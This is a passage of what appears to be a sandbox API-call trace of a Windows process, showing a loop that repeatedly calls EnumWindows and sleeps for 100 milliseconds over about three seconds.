[0304.381] Sleep (dwMilliseconds=0x64) [0304.382] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.382] Sleep (dwMilliseconds=0x64) [0304.384] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.384] Sleep (dwMilliseconds=0x64) [0304.386] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.386] Sleep (dwMilliseconds=0x64) [0304.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.388] Sleep (dwMilliseconds=0x64) [0304.394] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.394] Sleep (dwMilliseconds=0x64) [0304.396] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.396] Sleep (dwMilliseconds=0x64) [0304.398] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.398] Sleep (dwMilliseconds=0x64) [0304.399] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.400] Sleep (dwMilliseconds=0x64) [0304.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.401] Sleep (dwMilliseconds=0x64) [0304.402] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.403] Sleep (dwMilliseconds=0x64) [0304.404] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.404] Sleep (dwMilliseconds=0x64) [0304.405] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.406] Sleep (dwMilliseconds=0x64) [0304.407] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.407] Sleep (dwMilliseconds=0x64) [0304.409] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.409] Sleep (dwMilliseconds=0x64) [0304.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.411] Sleep (dwMilliseconds=0x64) [0304.493] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.493] Sleep (dwMilliseconds=0x64) [0304.518] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.519] Sleep (dwMilliseconds=0x64) [0304.521] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.521] Sleep (dwMilliseconds=0x64) [0304.522] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.522] Sleep (dwMilliseconds=0x64) [0304.524] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.524] Sleep (dwMilliseconds=0x64) [0304.525] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.525] Sleep (dwMilliseconds=0x64) [0304.527] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.527] Sleep (dwMilliseconds=0x64) [0304.529] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.529] Sleep (dwMilliseconds=0x64) [0304.531] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.531] Sleep (dwMilliseconds=0x64) [0304.532] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.532] Sleep (dwMilliseconds=0x64) [0304.581] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.582] Sleep (dwMilliseconds=0x64) [0304.647] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.647] Sleep (dwMilliseconds=0x64) [0304.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.694] Sleep (dwMilliseconds=0x64) [0304.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.696] Sleep (dwMilliseconds=0x64) [0304.698] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.698] Sleep (dwMilliseconds=0x64) [0304.700] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.700] Sleep (dwMilliseconds=0x64) [0304.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.702] Sleep (dwMilliseconds=0x64) [0304.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.704] Sleep (dwMilliseconds=0x64) [0304.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.706] Sleep (dwMilliseconds=0x64) [0304.708] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.708] Sleep (dwMilliseconds=0x64) [0304.709] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.710] Sleep (dwMilliseconds=0x64) [0304.711] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.711] Sleep (dwMilliseconds=0x64) [0304.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.714] Sleep (dwMilliseconds=0x64) [0304.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.716] Sleep (dwMilliseconds=0x64) [0304.717] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.718] Sleep (dwMilliseconds=0x64) [0304.719] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.719] Sleep (dwMilliseconds=0x64) [0304.720] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.721] Sleep (dwMilliseconds=0x64) [0304.722] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.722] Sleep (dwMilliseconds=0x64) [0304.723] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.724] Sleep (dwMilliseconds=0x64) [0304.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.773] Sleep (dwMilliseconds=0x64) [0304.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.836] Sleep (dwMilliseconds=0x64) [0304.846] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.846] Sleep (dwMilliseconds=0x64) [0304.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.848] Sleep (dwMilliseconds=0x64) [0304.860] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.861] Sleep (dwMilliseconds=0x64) [0304.862] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.862] Sleep (dwMilliseconds=0x64) [0304.864] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.864] Sleep (dwMilliseconds=0x64) [0304.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.907] Sleep (dwMilliseconds=0x64) [0304.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.909] Sleep (dwMilliseconds=0x64) [0304.987] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.988] Sleep (dwMilliseconds=0x64) [0304.991] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.991] Sleep (dwMilliseconds=0x64) [0304.993] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.993] Sleep (dwMilliseconds=0x64) [0304.995] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.995] Sleep (dwMilliseconds=0x64) [0304.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.997] Sleep (dwMilliseconds=0x64) [0304.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.999] Sleep (dwMilliseconds=0x64) [0305.001] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.001] Sleep (dwMilliseconds=0x64) [0305.002] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.002] Sleep (dwMilliseconds=0x64) [0305.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.004] Sleep (dwMilliseconds=0x64) [0305.005] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.005] Sleep (dwMilliseconds=0x64) [0305.008] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.008] Sleep (dwMilliseconds=0x64) [0305.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.011] Sleep (dwMilliseconds=0x64) [0305.012] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.012] Sleep (dwMilliseconds=0x64) [0305.014] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.014] Sleep (dwMilliseconds=0x64) [0305.017] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.017] Sleep (dwMilliseconds=0x64) [0305.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.042] Sleep (dwMilliseconds=0x64) [0305.132] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.133] Sleep (dwMilliseconds=0x64) [0305.134] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.135] Sleep (dwMilliseconds=0x64) [0305.136] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.137] Sleep (dwMilliseconds=0x64) [0305.138] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.138] Sleep (dwMilliseconds=0x64) [0305.140] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.140] Sleep (dwMilliseconds=0x64) [0305.141] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.141] Sleep (dwMilliseconds=0x64) [0305.143] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.143] Sleep (dwMilliseconds=0x64) [0305.144] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.144] Sleep (dwMilliseconds=0x64) [0305.146] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.146] Sleep (dwMilliseconds=0x64) [0305.147] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.147] Sleep (dwMilliseconds=0x64) [0305.149] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.149] Sleep (dwMilliseconds=0x64) [0305.151] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.151] Sleep (dwMilliseconds=0x64) [0305.152] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.152] Sleep (dwMilliseconds=0x64) [0305.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.154] Sleep (dwMilliseconds=0x64) [0305.155] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.155] Sleep (dwMilliseconds=0x64) [0305.157] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.157] Sleep (dwMilliseconds=0x64) [0305.158] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.158] Sleep (dwMilliseconds=0x64) [0305.161] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.161] Sleep (dwMilliseconds=0x64) [0305.175] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.175] Sleep (dwMilliseconds=0x64) [0305.267] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.268] Sleep (dwMilliseconds=0x64) [0305.276] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.277] Sleep (dwMilliseconds=0x64) [0305.278] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.278] Sleep (dwMilliseconds=0x64) [0305.280] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.280] Sleep (dwMilliseconds=0x64) [0305.282] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.286] Sleep (dwMilliseconds=0x64) [0305.288] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.288] Sleep (dwMilliseconds=0x64) [0305.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.289] Sleep (dwMilliseconds=0x64) [0305.291] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.291] Sleep (dwMilliseconds=0x64) [0305.292] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.292] Sleep (dwMilliseconds=0x64) [0305.294] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.294] Sleep (dwMilliseconds=0x64) [0305.295] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.295] Sleep (dwMilliseconds=0x64) [0305.297] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.297] Sleep (dwMilliseconds=0x64) [0305.332] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.332] Sleep (dwMilliseconds=0x64) [0305.409] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.409] Sleep (dwMilliseconds=0x64) [0305.417] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.418] Sleep (dwMilliseconds=0x64) [0305.463] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.464] Sleep (dwMilliseconds=0x64) [0305.467] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.467] Sleep (dwMilliseconds=0x64) [0305.469] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.469] Sleep (dwMilliseconds=0x64) [0305.471] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.471] Sleep (dwMilliseconds=0x64) [0305.472] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.473] Sleep (dwMilliseconds=0x64) [0305.474] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.474] Sleep (dwMilliseconds=0x64) [0305.475] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.476] Sleep (dwMilliseconds=0x64) [0305.477] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.477] Sleep (dwMilliseconds=0x64) [0305.478] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.479] Sleep (dwMilliseconds=0x64) [0305.480] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.480] Sleep (dwMilliseconds=0x64) [0305.481] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.482] Sleep (dwMilliseconds=0x64) [0305.483] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.483] Sleep (dwMilliseconds=0x64) [0305.484] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.485] Sleep (dwMilliseconds=0x64) [0305.486] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.486] Sleep (dwMilliseconds=0x64) [0305.487] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.488] Sleep (dwMilliseconds=0x64) [0305.489] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.489] Sleep (dwMilliseconds=0x64) [0305.490] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.491] Sleep (dwMilliseconds=0x64) [0305.492] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.492] Sleep (dwMilliseconds=0x64) [0305.493] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.494] Sleep (dwMilliseconds=0x64) [0305.555] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.555] Sleep (dwMilliseconds=0x64) [0305.557] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.557] Sleep (dwMilliseconds=0x64) [0305.608] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.608] Sleep (dwMilliseconds=0x64) [0305.610] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.610] Sleep (dwMilliseconds=0x64) [0305.612] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.612] Sleep (dwMilliseconds=0x64) [0305.614] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.614] Sleep (dwMilliseconds=0x64) [0305.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.616] Sleep (dwMilliseconds=0x64) [0305.618] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.618] Sleep (dwMilliseconds=0x64) [0305.749] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.750] Sleep (dwMilliseconds=0x64) [0305.751] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.752] Sleep (dwMilliseconds=0x64) [0305.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.754] Sleep (dwMilliseconds=0x64) [0305.756] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.756] Sleep (dwMilliseconds=0x64) [0305.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.758] Sleep (dwMilliseconds=0x64) [0305.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.760] Sleep (dwMilliseconds=0x64) [0305.762] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.762] Sleep (dwMilliseconds=0x64) [0305.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.764] Sleep (dwMilliseconds=0x64) [0305.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.766] Sleep (dwMilliseconds=0x64) [0305.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.768] Sleep (dwMilliseconds=0x64) [0305.769] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.769] Sleep (dwMilliseconds=0x64) [0305.771] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.772] Sleep (dwMilliseconds=0x64) [0305.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.774] Sleep (dwMilliseconds=0x64) [0305.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.775] Sleep (dwMilliseconds=0x64) [0305.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.777] Sleep (dwMilliseconds=0x64) [0305.780] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.780] Sleep (dwMilliseconds=0x64) [0305.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.806] Sleep (dwMilliseconds=0x64) [0305.893] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.893] Sleep (dwMilliseconds=0x64) [0305.895] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.895] Sleep (dwMilliseconds=0x64) [0305.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.897] Sleep (dwMilliseconds=0x64) [0305.899] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.899] Sleep (dwMilliseconds=0x64) [0305.901] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.901] Sleep (dwMilliseconds=0x64) [0305.903] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.903] Sleep (dwMilliseconds=0x64) [0305.905] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.905] Sleep (dwMilliseconds=0x64) [0305.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.907] Sleep (dwMilliseconds=0x64) [0305.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.909] Sleep (dwMilliseconds=0x64) [0305.911] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.911] Sleep (dwMilliseconds=0x64) [0305.913] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.913] Sleep (dwMilliseconds=0x64) [0305.915] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.915] Sleep (dwMilliseconds=0x64) [0305.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.917] Sleep (dwMilliseconds=0x64) [0305.919] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.919] Sleep (dwMilliseconds=0x64) [0305.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.923] Sleep (dwMilliseconds=0x64) [0305.925] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.925] Sleep (dwMilliseconds=0x64) [0305.927] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.927] Sleep (dwMilliseconds=0x64) [0305.928] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.928] Sleep (dwMilliseconds=0x64) [0305.930] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.930] Sleep (dwMilliseconds=0x64) [0305.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.932] Sleep (dwMilliseconds=0x64) [0305.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.934] Sleep (dwMilliseconds=0x64) [0305.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.937] Sleep (dwMilliseconds=0x64) [0305.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.939] Sleep (dwMilliseconds=0x64) [0305.969] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0305.970] Sleep (dwMilliseconds=0x64) [0306.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.057] Sleep (dwMilliseconds=0x64) [0306.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.059] Sleep (dwMilliseconds=0x64) [0306.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.066] Sleep (dwMilliseconds=0x64) [0306.068] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.068] Sleep (dwMilliseconds=0x64) [0306.084] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.085] Sleep (dwMilliseconds=0x64) [0306.094] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.094] Sleep (dwMilliseconds=0x64) [0306.133] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.134] Sleep (dwMilliseconds=0x64) [0306.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.230] Sleep (dwMilliseconds=0x64) [0306.245] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.246] Sleep (dwMilliseconds=0x64) [0306.258] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.259] Sleep (dwMilliseconds=0x64) [0306.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.297] Sleep (dwMilliseconds=0x64) [0306.404] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.405] Sleep (dwMilliseconds=0x64) [0306.407] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.407] Sleep (dwMilliseconds=0x64) [0306.409] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.409] Sleep (dwMilliseconds=0x64) [0306.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.411] Sleep (dwMilliseconds=0x64) [0306.413] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.413] Sleep (dwMilliseconds=0x64) [0306.419] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.420] Sleep (dwMilliseconds=0x64) [0306.421] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.421] Sleep (dwMilliseconds=0x64) [0306.423] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.424] Sleep (dwMilliseconds=0x64) [0306.425] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.426] Sleep (dwMilliseconds=0x64) [0306.427] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.428] Sleep (dwMilliseconds=0x64) [0306.429] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.430] Sleep (dwMilliseconds=0x64) [0306.431] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.432] Sleep (dwMilliseconds=0x64) [0306.433] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.434] Sleep (dwMilliseconds=0x64) [0306.477] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.478] Sleep (dwMilliseconds=0x64) [0306.550] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.551] Sleep (dwMilliseconds=0x64) [0306.565] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.566] Sleep (dwMilliseconds=0x64) [0306.579] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.579] Sleep (dwMilliseconds=0x64) [0306.593] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.593] Sleep (dwMilliseconds=0x64) [0306.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.639] Sleep (dwMilliseconds=0x64) [0306.703] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.704] Sleep (dwMilliseconds=0x64) [0306.707] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.707] Sleep (dwMilliseconds=0x64) [0306.710] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.711] Sleep (dwMilliseconds=0x64) [0306.713] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.713] Sleep (dwMilliseconds=0x64) [0306.715] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.715] Sleep (dwMilliseconds=0x64) [0306.717] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.717] Sleep (dwMilliseconds=0x64) [0306.718] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.718] Sleep (dwMilliseconds=0x64) [0306.720] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.720] Sleep (dwMilliseconds=0x64) [0306.722] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.722] Sleep (dwMilliseconds=0x64) [0306.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.724] Sleep (dwMilliseconds=0x64) [0306.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.726] Sleep (dwMilliseconds=0x64) [0306.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.728] Sleep (dwMilliseconds=0x64) [0306.729] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.729] Sleep (dwMilliseconds=0x64) [0306.733] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.733] Sleep (dwMilliseconds=0x64) [0306.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.741] Sleep (dwMilliseconds=0x64) [0306.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.744] Sleep (dwMilliseconds=0x64) [0306.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.836] Sleep (dwMilliseconds=0x64) [0306.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0306.837] Sleep (dwMilliseconds=0x64) [0307.097] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.098] Sleep (dwMilliseconds=0x64) [0307.101] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.102] Sleep (dwMilliseconds=0x64) [0307.103] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.103] Sleep (dwMilliseconds=0x64) [0307.105] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.105] Sleep (dwMilliseconds=0x64) [0307.107] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.107] Sleep (dwMilliseconds=0x64) [0307.109] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.109] Sleep (dwMilliseconds=0x64) [0307.110] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.111] Sleep (dwMilliseconds=0x64) [0307.112] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.112] Sleep (dwMilliseconds=0x64) [0307.113] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.114] Sleep (dwMilliseconds=0x64) [0307.115] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.115] Sleep (dwMilliseconds=0x64) [0307.116] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.117] Sleep (dwMilliseconds=0x64) [0307.129] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.130] Sleep (dwMilliseconds=0x64) [0307.142] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.143] Sleep (dwMilliseconds=0x64) [0307.258] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.258] Sleep (dwMilliseconds=0x64) [0307.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.260] Sleep (dwMilliseconds=0x64) [0307.272] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.272] Sleep (dwMilliseconds=0x64) [0307.282] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.282] Sleep (dwMilliseconds=0x64) [0307.284] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.284] Sleep (dwMilliseconds=0x64) [0307.286] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.287] Sleep (dwMilliseconds=0x64) [0307.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.289] Sleep (dwMilliseconds=0x64) [0307.291] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.291] Sleep (dwMilliseconds=0x64) [0307.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.293] Sleep (dwMilliseconds=0x64) [0307.294] EnumWindows (lpEnumFunc=0x423dd0, 